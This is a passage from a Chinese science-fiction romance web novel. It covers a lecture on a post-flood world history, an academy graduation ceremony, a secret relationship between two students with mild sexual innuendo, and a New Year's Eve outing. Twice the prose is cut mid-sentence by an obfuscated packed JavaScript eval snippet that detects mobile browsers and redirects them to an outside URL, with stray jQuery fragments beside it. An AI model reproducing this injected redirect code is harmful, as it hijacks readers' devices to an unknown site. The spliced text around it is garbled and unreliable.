骤雨最初出现在低纬度地地区,没有人意识到这只是开始,持续数十年的极端降水几乎没有明显的季节间断,全球河流泛滥,海平面抬升,历史上曾稳定存在的城市群逐步沉没,而随着海洋热膨胀与融冰叠加,大量沿岸文明也开始消失。 在无情泛滥的洪水中,人类社会第一次经历了真正意义上的大规模地理迁徙。 5.Chapter5 “城市并不是一瞬间毁灭的,”纳特的声音清楚地传遍了纪念堂的每个角落,脸上带着十足的耐心,似乎并不在乎坐下的学生已经将这段历史听了无数遍,说:“我们在几十年间被迫后撤、重建,再放弃,留存的资料记载,那是一段社会系统持续崩塌的时期,所有资源被水体切断,通信中断,工业体系失效。” 所谓文明,再这片漫长的雨季中显得无比脆弱。 “当传统陆上交通无法继续维持时,人类开始重新依赖海洋,原本承担军事任务的船舰被改造为避难、运输和能源储存的平台,成为最早的‘移动城市基础’。” “对于当时的人们来说,活着就意味着漂浮,他们在海上寻找新的陆地和同在漂泊的同类,也在海上保留着仅剩的文明痕迹。” 后来的人们将那段时期称作寒叠季洪积事件,更通俗的说法,也叫做雨上纪元。 雨季结束之后,人类已经完全不同了。 “漫长的降水在数十年后逐渐停止,大气系统恢复到可预测的循环,当人类从海上移动基地返回陆地时,他们发现全球的版图已经彻底改写。” 原本的洲际轮廓变得模糊,许多旧大陆被吞进了新海域,只有欧亚大陆的中部板块上仍存在一片没有被摧毁的到不可居住的陆地,这里地势较高、海侵影响有限,成为幸存者最终汇集的地方。 大量来自不用语言、不同文化、不同政治体系的人类被迫挤在了在同一片土地上,旧时代的国家制度在漫长的迁徙中全面瓦解,没有哪个政体能继续统治曾经属于自己的人民,地图上所划分的疆界也变得毫无意义。 尽管最初的混居带来了贸易与技术交流,但很快就演变成对资源与土地的争夺,渐渐的,原有国家的概念被重新划分为“区块”,每个区块根据语言、族群、资源种类或共同利益自行组织管理,名义上自治,实际上在经济和生存层面仍旧互相依赖。 自此,城市在断壁残垣间开始重建,所有基础设施从零开始,二十六个字母和古老的汉语凭借着其原有的广泛传播和独特的表达性留存了下来,成为了区域与区域之间最初沟通的桥梁。 等到陆地重新占据人类社会的中心后,最关键的一件事就是和重新与轨道空间站取得联络,空间站在灾难来临前长期执行着科研项目,储存着完整的植物种子库与动物基因样本,本来只是科研设施,却在雨季之后变成了决定文明延续的关键。 与地球失联几十年,空间站仍保持着最低能源运转,当通讯重新接通,它成为了新世界最珍贵的资源库,尽管那些基因样本并不是马上能恢复生态,可它给了人类一种错觉,也许一切还能回到原来的样子。 可文明从不原路返回。 “人类在这场巨大的灾难后依旧没有认识到人类命运共振的重要性,被迫划分的区块不成体系,没有制度,所维持的脆弱平衡自然很快就被打破了,为了淡水、耕地、电力、基因样本甚至历史叙事权而屡屡爆发冲突——持续的战争就像是一场看不到尽头的试探与反扑,迅速消耗着勉强积累起来的生存资本。” 最终,在经历了近百年的对抗与谈判后,人类终于意识到他们不能再坚持旧世界的边界,于是,旧联邦政府就在这样的背景下被迫诞生了——尽管它在运转期间存在着数不清的弊病,甚至它的出现也不是为了统一,但它还是给人类带来了短暂和和平与希望。 “旧联邦成立后,战争暂时停止,但文明还是没有像大家想的那样回到曾经的高度,大量的知识在迁徙、洪水和区块冲突中遗失,某些学科几乎断代,尤其是历史人文与基础学科,人们能维持工业、基础能源与通讯体系,可旧世界的文化传承像是真的被水冲刷过一样,只剩下断裂的片段。” 整整一代人无法理解旧时代的思想、艺术与哲学,他们能够复原机器,却无法解释文明曾经走到哪里。 这时候,他们只能将目光重新转向海底。 那片广袤的、深邃的海面之下,埋葬着人类漫长的雨前文明。 大量的城市、档案馆、科研机构……这些遗迹里可能保存着文明最完整的证据与资料,深潜工程逐渐成为国家层面的长期计划,一批又一批的人往返着陆地和海底,就像走进一个已经关掉灯光的家,固执着寻找着自己曾经拥有但早已丢失的东西。 与此同时,也有一批人拒绝向旧世界回头。 他们认为文明崩塌本身就是人类传承的失败,如果继续执着于历史,只会重蹈覆辙,于是他们把目光投向轨道之外,试图把空间站作为起点,把地外轨道作为未来,他们相信只有地外的资源、空间与新的生存环境,才能给人类带来真正的重生。 “或许有人觉得这是一种对立,但我不觉得,毕竟他们的目的地是相同的,每个人都觉得自己才是在人类文明的废墟上继续前进的那个人。” “严谨一点,我姑且认为这是同一条路上的分歧,深潜说相信过去必须被理解,而地外说则认为过去应该被放下,”纳特慢慢走下了讲台,站在学生中间,和他们一起注视着讲台上巨大的全息字体,道:“走到今天,我们知道历史已经做出了选择,可同样,我们所付出的代价也是沉重的。” 深潜工程被叫停后,旧联邦的科技进入了高速发展的阶段,行政体系也开始向标准化、严密化转变,新联邦就此成立,与之一同建立的还有兰格利亚联邦学院,旨在为联邦政府输送最尖端的人才。 “今天在座的各位,也包括从兰格利亚联邦学院毕业的我,在这个年纪都没有想过自己要面临的是什么——我知道我现在说这些或许很扫兴,”她眨了眨眼,露出一个顽皮的微笑,说:“你们都已经想好了今天的毕业晚会要怎么过,入职后的第一笔薪酬要拿来买什么,可我却在这里和你们讨论死亡这种话题,简直不可理喻。” “但我还是想说,联邦的历史已经反复证明一件事,文明的断而再续势必会造成死亡,尤其是面临转折点的当下,你们从学院进入联邦政府,所要面对的就不再是考试、演习、或者全息屏幕,而是真实的一切。” “你们会被要求评估风险,会被要求签字,会被要求在时间不足、信息不全,甚至后果无法逆转的情况下做出决定……如我所经历的,这仍旧是一个需要流血和牺牲的时代,我想至少未来二十年依然会是这样,战争和死亡从未远去,离我们也并不遥远。” “要学会直视它。” 她重新在讲台上站定,巨大的全息字体随着她的挥手而消失。 “你们是联邦的未来,而这些,是我能教给你们最宝贵的东西。” “我的课讲完了,”她唇畔挂着清浅的微笑,对着下方微微欠身示意,说:“谢谢大家。” ———————————————————— 即便今天的课程如此沉重、深奥,甚至有些莫名其妙,但依旧没有抵挡住学生对纳特教授本人的热情,看着前方一拥而上索要签名或合照的同学,裴千诉自顾自地撑着下巴思索,很费解地问:“为什么纳特教授说的每一个字我都知道什么意思,加在一起我就完全听不懂了?” 一旁的商雪繁赞同地点点头,最后得出一个结论,说:“可能是在说我们也是历史的一部分吧。” 安全与风险学院的学生和其他学院有本质区别,所接受的更类似于军事化管理,尤其是战术与行动系,他们在校期间就参与过很多次救援活动,死亡教育也是必不可少的,或许正是因为这样,才让他们对纳特教授的话没有产生过多的感触。 裴千 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948287|192558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诉又摩挲着自己的下巴想了一会儿,目光瞥到前面排了好一会儿队依旧被挤在人群外围的卫停,啧了一声站起身,随口嘟囔道:“蠢吗?” 这一边,卫停正抱着本子眼巴巴地从人群的缝隙间朝里面望,突然感觉自己的领子被用力拽了一下,回头一看,发现是裴千诉,问:“你怎么来了?” 她不是对纳特教授完全不感兴趣吗? 正说着话,旁边的人就想趁机硬挤过来,卫停下意识的退了半步,被裴千诉按住肩膀定在原地。 Alpha单手插兜,一脸警告地看着对方,说:“你再插个队试试?” 对方飞速瞥了一眼她胸前的名牌,显然认出了她是谁,犹豫半秒,默默往右边躲了两步。 有了裴千诉的帮忙,卫停总算在纳特教授离开前要来了一张合照,坐回位置上后捧着终端看了又看,裴千诉笑他,说:“至于?” 他弯弯唇角,也不生气,说:“谢谢你呀,千诉。” 裴千诉并不在乎,挺敷衍地说了声小事,扭过头去继续和梁峭有一搭没一搭地说着话。 …… 纳特教授离开后,堂中的秩序终于得到恢复,后面的流程肉眼可见地快了起来,被邀请来授予铭章的校友陆续入了场,大多数人都穿着能表示身份或职级的正式制服,也有少数不看肩章就能被认出来的重量级人物。 堂中渐渐安静了。 院长王与物上台进行了简短的发言,宣布授予仪式正式开始,很快,几个机器人就拿着毕业生的定制铭章站在了讲台一侧,受邀授予的校友和学生也站了起来,在学院老师的指引下走向讲台。 接受授予的顺序按照毕业考核的排名,两组为一个单位进行,裴千诉站起来的时候很难受地看了一眼不远处同样起身的盛扶周等人,脸上的痛苦几乎要溢出来。 “一想到我人生中最重要的一个瞬间里有这个智障的参与我就很难受,”裴千诉全身都在抗拒,提醒离她最近的梁峭和卫停,说:“等会儿你俩靠他们站啊,我宁愿从学院塔上跳下去也不会和他站在一起。” “好。”卫停小声地答应。 只可惜有时候越不想发生什么就越会遭遇什么,一上台,负责指引的老师就先锁定了两个组长,示意他们站到十个人的最中间,两个人相看两厌地对视了一眼,竭力克制着情绪才勉强站在了一起,中间的距离还能站进一个梁峭绰绰有余。 裴千诉心如死灰地说:“我真的要从学院塔上跳下去了。” 梁峭默了默,安慰道:“放心,我会接住你的。” 这是重点吗?! 给他们授予铭章的是联邦公民安全局现任局长江长青,他从右侧走上来,将深蓝色的金属铭章仔细佩戴在每个人的胸前,看向他们的眼神十分欣慰,到合影环节的时候他站在裴、周二人中间,甚至还握住他们的手放在了一起。 在场所有知晓两组人关系的老师和学生都沉默了,抠紧脚趾看着这一幕,生怕两人当着局长的面动起手来。 好在二人还是顾全大局的,一直到合影结束,预想中的爆发也没有到来,台上完全一片和平的景象。 嗯,真是和平—— 裴千诉死死咬牙露出一个微笑,指甲深深地陷入某人的手背,只有完全不知情的江长青依旧笑呵呵的,下台的时候还鼓励地拍了拍二人的手臂。 趁着他回头,盛扶周举起那只流血的手在背后恶狠狠地向裴千诉比了个辱骂的手势,对方挑挑眉,回了一个十分挑衅的眼神。 短短十几米的距离,两人在暗流涌动中氛围中厮杀了几百个回合,而另一边无人在意的队尾,楚洄不知道什么时候走到了梁峭身边,轻轻抬起垂在身侧的手指,在她的手背上暧昧的划了划。 6.chapter6 从早上起床看着梁峭穿上制服的那一刻开始,楚洄就一直觉得自己有点莫名其妙的心痒,安全与风险学院的制服与他们略有不同,但依旧以深蓝色为主调,内衬洁白的领口整齐地立着,金色绶带从肩头垂落,从挺阔的肩膀到腰际再向下,流畅的线条如山脉的脊线般利落分明。 再走近一点,就能看到衣服上暗银的织纹,像是流星划过夜空的余痕,衣襟在胸前形成一个挺阔的V字,泛着银光的金属扣从最上面一路严谨地排列下来,收近紧实的腰线里。 明明是一样的衣服,但穿在梁峭身上却有一种说不出的秩序和张力,看了好几眼,楚洄才意识到自己的眼神实在太过赤.裸,用力咬了咬颊侧的软肉,垂下眼睫。 这回视线范围里只有她骨节分明的手了,随着步伐微微摆动,在三三两两的人群里若隐若现,他目不转睛地看着,又不由自主地想起昨夜这只手是如何地探索自己的身体。 ……啧。 或许是因为临时标记的缘故,又或者是早上作别时没有亲到她,总之他实在是收不回自己乱飘的思绪,视线就像是粘腻的触手一样死死吸附在她身上,促使他走上前去触碰她的身体。 她微微转头,压在帽檐下的眉眼透着几分疏冷,在一片浅淡的阴影中望了过来。 等盛扶周等人发现楚洄不见的时候,他已经如愿亲到了穿着制服的梁峭,隐秘的水声被信息素处理室超高标准的隔音门杜绝其中,alpha斜斜地倚在门边,刚刚还在他视线里晃荡的手正半楼着他的肩膀。 他越亲越不够,腻腻地叫了两声梁峭,伸手去摸她的脸,说:“喜欢死你了。” 他的表白就像吃饭喝水一样频繁,梁峭一开始听到还会脸红,现在已经完全习惯了,轻轻嗯了一声,低下头继续亲他的嘴唇。 又亲了好一会儿,梁峭略略蹙眉,问:“是不舒服吗?” 他今天的热情有点超出平常的尺度,让她有点担心他的身体,指腹沿着着他后颈的抑制贴摸了摸,说:“是不是昨天……” “没有,”楚洄否认她的猜测,坦然道:“单纯想亲你。” 梁峭还是不放心,说:“昨晚你还说……” 她没办法面不改色地复述出他求饶的话,只能用沉默以代,楚洄听明白她的未尽之意,弯唇笑了笑,说:“骗你的,其实爽死了。” 梁峭:“……” 梁峭闭嘴了。 许是看出她沉默下的那一丝无奈,楚洄更是忍不住眼中的笑意,双手环抱着她的肩膀,说:“再亲一下。” 梁峭没动,等着他吻向自己,就在双唇即将相触的那一刻,手腕传来了轻微的震动声。 她动作一滞,低头想去查看,却被一只手托住侧脸转回来,楚洄贴紧她的嘴唇继续着这个欲断不断的吻,说:“别理他。” “该回去了。” “嗯,”楚洄答应归答应,但并没有任何要和她分开的意思,一双柔柔的桃花眼紧盯着她,突然说:“今天毕业了。” 梁峭说:“嗯。” “那我们什么时候告诉他们。” 他其实也不太在意说不说的事情,毕竟人前装不熟也不影响他们晚上走进同一间房睡在同一张床上,只是毕业之后两个人的见面时间肯定会少很多,他可不想好不容易见个面还得像现在这样,就连接个吻都要躲进信息素处理室。 梁峭说:“你决定。” 听到这个回答,楚洄翘了翘嘴角,牵紧她的手,故意道:“那等一下出去就说。” 她没什么异议,说:“好。” 楚洄问:“你不怕?” 她眼里浮现出一丝疑惑,显然是在问怕什么。 楚洄说:“裴千诉肯定要说我坏话,说不定还会问是不是我勾引的你,你才会和我在一起。” 他的本意只是撒娇玩笑,毕竟他从没把别人的态度放在心上,当时决定隐瞒也只是怕太多人知道麻烦,但梁峭不知是没听出来还是怎么,反而平静自若地说:“不是,是我追的你。” “哈……”楚洄显然被这几句话哄得十分高兴,忍不住又亲了她好几下,说:“算了,还是顺其自然吧,不然最后一天还要被他们问东问西的。” 他变来变去,梁峭也好说话地点点头,伸手将他微乱的额发向后理了理,楚洄抓住她的另一只手往腰后去,说:“腰痛死了,今晚换我在上面……” 未尽的话语被梁峭眼疾手快地堵在唇间,楚洄眼睛一眯,顺势亲了亲她的掌心。 ……有时候真的拿他没办法。 …… 回到纪念堂的时候,授予仪式还在进行,朝野一回头看到他,问:“你刚刚去哪了?” 楚洄跟着一起鼓掌,面不改色地说:“吃饭去了。” “哦,”朝野很轻易地接受了这个说法,说:“我也有点饿了,晚上我们去哪?” 今天是12月31日,除了是兰院的毕业典礼外还是跨年夜,每年这个时候兰度双子塔都会举办跨年活动,有非常漂亮的烟花和全息灯光秀,其塔顶的蓝色纪念灯就是为了庆祝兰格利亚的毕业年,所以每年都有很多学生不去参加学院的毕业晚会,转而到这里庆祝。 “位置已经约好了,特列吉尼中心的屋顶花园,”楚洄说:“你不参加晚会的话就一起去。” 朝野点头答应,说:“好啊,我对晚会没什么兴趣。” 毕业晚会就在学院塔的塔顶会议厅,今天参与授予仪式的校友也都会参与,尽管今天的主角是这些毕业生,但比起为他们欢庆,其真正的性质更像是一场权利交流会,没有背景的学生大概只能在这里解决一顿自助晚餐,甚至没什么说话的余地。 授予仪式进行了一整个下午,快结束的时候,梁峭也回到了纪念堂,院长王与物正在台上进行最后的发言,堂中原本冷白的灯光不知何时变得十分绚烂,斑斓的色彩次第划过每一个人的脸庞。 “……恭喜大家顺利毕业,未来不论你们走到哪里,兰格利亚都会是你们永远的后盾和荣光,”他举臂高呼的是立校伊始传承至今的校训,声音铿锵有力,道:“真理之风永远吹拂!” “砰!”随着他的话音落下,无数蓝白色的彩带从穹顶倾泻而下,磅礴的音乐也随之响起,众人的欢呼声冲破堤坝,排山倒海般掠过整个纪念堂,掌声、笑声、呐喊声,像无数条喧腾的河流,一起汇入这片壮阔的海洋。 梁峭站在后方看着眼前这一幕,唇角也不自觉地弯了弯。 昨天这个时候她还在旧三区参加最后的徒步训练,现在却穿着制服站在这场欢腾的庆典中央——一切都显得那么不真实,直到盘旋的彩带落在她身上,她才意识到自己也成为了这场欢庆中的主角。 “梁峭!你去哪了?快来拍照!” 终于捕捉到她身影的裴千诉穿越人群走到她身边,被调整成适宜大小的屏幕浮现在众人面前。 商雪繁跟着走过来,姿态闲适,率先站在了梁峭身侧,余阅则一左一右地环住两个人的肩膀,把自己的脸挤进她们倆中间。 “卫停,过来!”见卫停还在不远处的人群中艰难地穿行,裴千诉一把将他拉到身边,毫不客气地勾住了他的肩膀。 “别愣了,看前面!”她不耐烦地打断了他的怔愣,对着镜头露出了一个张扬肆意的笑。 “***终于毕业啦!” 漫天飞舞的彩带在此刻定格,留下了3795年的冬天和年轻人意气风发的脸庞。 ———————————————————— “梁峭,你要去参加晚会吗?” 拍完照,众人三三两两地聚在一起说话,听见余阅问,梁峭没有多加思考就摇了摇头,刚刚跑到一旁接通讯的裴千诉兴致冲冲地跑过来,说:“刚刚约到了特列吉尼中心的屋顶花园,那里可以直接看到双子塔,一起去吗?” 这个地方算是兰格利亚毕业生的保留项目了,每到毕业年就挤满了前去庆祝兼跨年的学生。 商雪繁犹豫了片刻,笑着说:“我和余阅约好了要去参加晚会。” “啊,不一起吗?今天可是我们最后……”她话没说完,袖子就被一股力道轻轻扯了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968384|192558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下,一向不怎么说话的梁峭难得主动开口,说:“嗯,你们想来可以随时联系我们。” “好。”他维持着笑容点点头,简单的作别后就和余阅一起并肩走出了纪念堂,裴千诉看着他们的背影,有些失落地说:“不是说好要一起跨年的嘛。” 说着,她又瞥了一眼身侧的卫停,问:“你不会也要去参加晚会吧。” 卫停赶忙摆摆手,说:“我和你一起。” “这才对嘛,”她的情绪来得快去得也快,很快就高兴起来,一手揽着一个往外走,说:“走走走,我们今晚不醉不归!” …… 特列吉尼中心是兰度最繁华的商业街,高密度的建筑群簇拥着最中央的联邦双子塔,一块块大小不一的全息屏幕上不间断地跳动着新闻、广告或者一张张精致的脸庞。 大屋顶是其中一幢建筑的代称,得名于它顶层视野极佳的空中花园,可以纵观整个兰度的夜景。 今天是跨年夜,街上的人只多不少,几人踏进悬梯,弧形的高透明窗外是灯火通明的高楼,随着悬梯上升,建筑一层层地从眼前划过,直至整个兰度都被收尽眼底。 目眩神迷。 只有这一个词能形容当下的状态。 梁峭平常的生活堪称枯燥,除了读书训练就是参加比赛,当然也很少来这种地方,但此时此刻站在这里,她居然感觉还不错——联邦双子塔触手可及,特列吉尼大街永远人潮汹涌,从绿意蔓延的飞信公园到庄严矗立的纳达尔号纪念碑,道路编号层层递进。 自数百米高空倾身俯瞰,万千窗格化作点点星光,交错的道路织成发光的蛛网,鼎沸的声浪开始降落,人声车声全部远去,整个城市变得恢弘而寂静。 梁峭真切地感到一种近乎为之倾倒的眩晕。 身旁的卫停轻声说:“双子塔亮灯了。” 她仰头去看,两座尖塔同时亮起了深蓝色的灯光,以此纪念兰校五年一次的毕业年,明亮的灯光在黄昏的映衬中显得格外震撼动人,裴千诉拍了几张照,又一次感叹道:“终于毕业了。” 嗯,终于毕业了。 21岁的年纪正当时,或许还不适合回忆青春,但梁峭还是不由自主地想起了五年前第一次从旧三区踏入兰度的自己。 比起旧三区不断重建的危房,兰度的繁华远超出了她的想象,几年时间,她在鳞次栉比的楼影和狭窄的训练仓里寻找稀缺的氧气,在一场接着一场的格斗和比赛中获得喘息之机,孤独一向是她最好的朋友,她也习惯于在熟悉的寂静里拆解着挫败,疲惫和迷惘,甚至从未有想过自己未来到底会走到哪里,直到此刻。 直到此刻。 叮—— 悬梯到了,几个小时前还和她躲在信息素处理室接吻的人骤然出现在了眼前,她迈步走出梯门,听见裴千诉近乎崩溃的质问:“你怎么在这?!” “我还没问你怎么在这呢!” 熟悉的吵架声又来了,出去玩都能意外遇见死对头这种事谁也不想发生,但大概是知道他们不会在这种地方动手,所以大家并没有多加阻拦,原本靠在栏杆边看日落的楚洄和她对上视线,忍不住弯起唇角,偷偷朝她眨了眨眼睛。 梁峭眼中荡开点笑意,放在口袋的手指微微蜷缩,试图缓解不知道从哪里升出来的痒意。 屋顶花园一共分了四个区,几乎全是兰格利亚的校友,众人一拍即合,给一旁的服务机器人下达指令,让它把原本独立的餐桌全都拼到一起。 也不管认不认识或是见过几面,反正穿了同一件制服的就是朋友,都知道彼此从入学走到毕业有多不容易,或许他们还有很多事情要去想,但那又怎样,未来如何不用此时此刻的他们去担忧,至少今天他们可以肆无忌惮地放纵。 大家兴致勃勃地点了一堆菜和酒,满满当当堆了一桌,裴千诉死都不和盛扶周坐在一起,换了几次座位,倒是让楚洄如愿以偿地坐到了梁峭身边。 等真正坐下来,他才有点后悔——早知道白天的时候就告诉他们了,否则现在还得拼命忍着不去牵她的手。